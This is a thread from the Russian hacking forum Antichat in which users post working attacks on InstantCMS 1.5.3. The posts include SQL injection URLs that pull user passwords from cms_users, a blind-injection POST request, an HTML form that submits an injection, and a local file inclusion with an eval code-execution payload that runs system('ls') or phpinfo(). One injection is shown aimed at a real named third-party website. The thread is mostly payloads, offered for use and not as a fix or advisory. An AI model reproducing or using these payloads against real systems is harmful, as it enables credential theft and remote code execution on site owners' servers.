Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Обзор уязвимостей InstantCMS (https://forum.antichat.xyz/showthread.php?t=189469)

Jerri 08.03.2010 01:43

InstantCMS
version : 1.5.3
http://www.instantcms.ru/

SQL-INJ :

Код:

/admin/index.php?view=components&do=config&id=6&opt=edit&item_id=-1+union+select+1,concat_ws(0x3a,user(),database() ,version()),3,4,5,6+--+
(требуется доступ к админке.)

Jerri 12.03.2010 18:29

InstantCMS
v 1.5.3

SQL Injection

Уязвимость в /components/photos/frontend.php

PHP код:

if ($do=='view')

...
if (isset(
$_POST['orderby'])) 

     
$orderby $_POST['orderby']; 
     
$_SESSION['ph_orderby'] = $orderby;

elseif(isset(
$_SESSION['ph_orderby'])) 

     
$orderby $_SESSION['ph_orderby'];

else 
{
     
$orderby $album['orderby']; 
}
            
if (isset(
$_POST['orderto'])) 

     
$orderto $_POST['orderto']; 
     
$_SESSION['ph_orderto'] = $orderto;

elseif(isset(
$_SESSION['ph_orderto'])) 

     
$orderto $_SESSION['ph_orderto'];

else 
{
    
$orderto $album['orderto']; 
}
...
$sql .=  " ORDER BY ".$orderby." ".$orderto." \n";
...
$result $inDB->query($sql) or die(mysql_error().'<br/><br/>'.$sql);


Использование:
передача своего запроса методом POST в http://localhost/?view=photos&do=view.
(перед этим надо зарегистрироваться и авторизоваться)
P.S. иньекция после order by :(

Jerri 20.03.2010 20:11

InstantCMS
1.5.3


SQL INJ

localhost/components/forum/fronted.php
PHP код:

if ($do=='newthread' || $do=='newpost' || $do=='editpost'){
if (
usrCheckAuth()){ #Вы должны быть авторизованы
...
if (isset(
$_GET['replyid'])) { $replyid $_GET['replyid']; }
else { 
$replyid 0; }

if(!isset(
$_POST['gosend'])){

$inDB->query("DELETE FROM cms_upload_images WHERE session_id='".session_id()."'");

if (
$replyid){
$sql "SELECT p.*, u.*, DATE_FORMAT(p.pubdate, '%d-%m-%Y в %H:%i') senddate FROM cms_forum_posts p, cms_users u WHERE p.id = $replyid AND p.user_id = u.id";
$result $inDB->query($sql) ;
}
}


Код:

http://localhost/?view=forum&do=newthread&replyid=-29+and+1=1+union+select+1,2,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 FROM cms_users+--+
В жизни:
Код:

http://kokshetau.kz/?view=forum&do=newthread&replyid=-29+and+1=1+union+select+1,2,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25%20FROM%20cms_users+--+
//Требуется регистрация

SQL INJ

Требования : доступ к админке.

Код:

http://localhost/admin/index.php?view=components&do=config&id=7&opt=edit&item_id=-16+and+1=1+union+select+1,2,3,4,5,6,7,password,9,10,11+from+cms_users+--+

Jerri 23.03.2010 01:20

InstantCMS
1.5.3

SQL INJ

components/users/frontend.php
PHP код:

if ($do=='sendmessage'){
if (
usrCheckAuth() && $inUser->id!=$id){
...
if (
$usr || isset($_POST['massmail'])){
if (
usrCheckAuth()){
...
if (isset(
$_GET['replyid'])) { $replyid $_GET['replyid']; }
  else { 
$replyid 0; }
...
if (
$replyid){
$sql "SELECT m.*, u.* FROM cms_user_msg m, cms_users u WHERE m.id = $replyid AND m.from_id = u.id AND m.to_id = $from_id";
$result $inDB->query($sql) ; 

Требования :
Вы должны быть авторизованы

Использование:
Код:

<form action="http://localhost/?view=users&do=sendmessage&replyid=-100+and+1=1+union+select+1,2,3,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+cms_users+--+" method="post">
<input name="massmail" value="1">
<input type="submit" value="Send">
</form>


Jerri 23.03.2010 19:32

InstantCMS
1.5.3

SQL INJ

В админке:

1.
Код:

http://test1.ru/admin/index.php?view=components&do=config&link=banners&opt=edit&item_id=-100+and+1=1+union+select+1,2,3,4,5,6,7,8,9,10,password,12,13+from+cms_users+--+
2.
Код:

http://test1.ru/admin/index.php?view=components&do=config&link=board&opt=edit_cat&item_id=-100+union+select+1,2,3,4,5,6,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+cms_users--+
Ну и таких однотипных уязвимостей в админке множество.

P.S.
Раскрытие пути

Код:

http://localhost/admin/modules/mod_arhive/backend.php

Sc0rpi0n 27.03.2010 01:48

Blind SQL-Injection
 
Blind SQL-Injection
/componets/catalog/fronted.php

PHP код:

if (isset($_POST['orderby'])) {
                
$orderby $_POST['orderby'];
            ...
            }

            if (isset(
$_POST['orderto'])) {
                
$orderto $_POST['orderto'];
             ...
            }

            
$sql .=  " ORDER BY ".$orderby." ".$orderto;

            
$result $inDB->query($sql); 

Код:

POST http://instantcms/catalog/23/1 HTTP/1.0
Host: instantcms
Content-Type: application/x-www-form-urlencoded
Content-length: 65

orderby=(i.id* IF (ASCII(SUBSTRING(version(),1,1))=53,1,-1)) --


Strilo4ka 05.04.2010 03:26

1.5.3
LFI + Eval Code Execution!
/admin/includes/cp.php
PHP код:

...function cpProceedBody(){
    
    
ob_start();
    
    
$link str_replace('/'''$GLOBALS['applet']);
    
$link str_replace(':'''$link);
    
$link str_replace('-'''$link);
    
$file $link '.php';
    include(
'applets/'.$file);
    eval(
'applet_'.$link.'();');
    
    
$GLOBALS['cp_page_body'] = ob_get_clean();
    
}... 

Result:
http://instant/admin/index.php?view=cats[lfi]

Example:
http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess[. т.д]
http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess%00

Модуль может быть другой!

Условие:
- админка;
- только \.

Jokester 05.04.2010 12:08

Цитата:

Сообщение от Strilo4ka
1.5.3
LFI
/admin/includes/cp.php
PHP код:

...function cpProceedBody(){
    
    
ob_start();
    
    
$link str_replace('/'''$GLOBALS['applet']);
    
$link str_replace(':'''$link);
    
$link str_replace('-'''$link);
    
$file $link '.php';
    include(
'applets/'.$file);
    eval(
'applet_'.$link.'();');
    
    
$GLOBALS['cp_page_body'] = ob_get_clean();
    
}... 

Result:
http://instant/admin/index.php?view=cats[lfi]

Example:
http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess[. т.д]
http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess%00

Модуль может быть другой!

Условие:
- админка;
- только \.

А чем вам не нравится eval ? Я код не качал, но исходя из того, что вижу, он должен работать:

?applet=;system('ls');rand

Или там что-то мешает?

PS
И кстати, да у меня тут хакеры спрашивают WTF???
$link= str_replace('/', '', $GLOBALS['applet']);
а потом
view=cats\..\..\..\..\.htaccess

Выкладывай весь необходимый код, ибо нихрена не понятно

Sc0rpi0n 05.04.2010 12:40

Цитата:

Сообщение от Jokester

?applet=;system('ls');rand
Или там что-то мешает?


/admin/index.php

PHP код:


if (isset($_REQUEST['view'])){
        
$GLOBALS['applet'] = $_REQUEST['view'];
    } else {
        
$GLOBALS['applet'] = 'main'

http://test/admin/index.php?view=;phpinfo();rand

S00pY 05.04.2010 13:03

Просто Джокестр,не смотрел код, там в индексе
PHP код:

if(isset($_REQUEST['view']))
{          
$GLOBALS['applet'] = $_REQUEST['view'];      
} else 
{          
$GLOBALS['applet'] = 'main';      


Эм сорри, опередил Скорп :)


Время: 19:19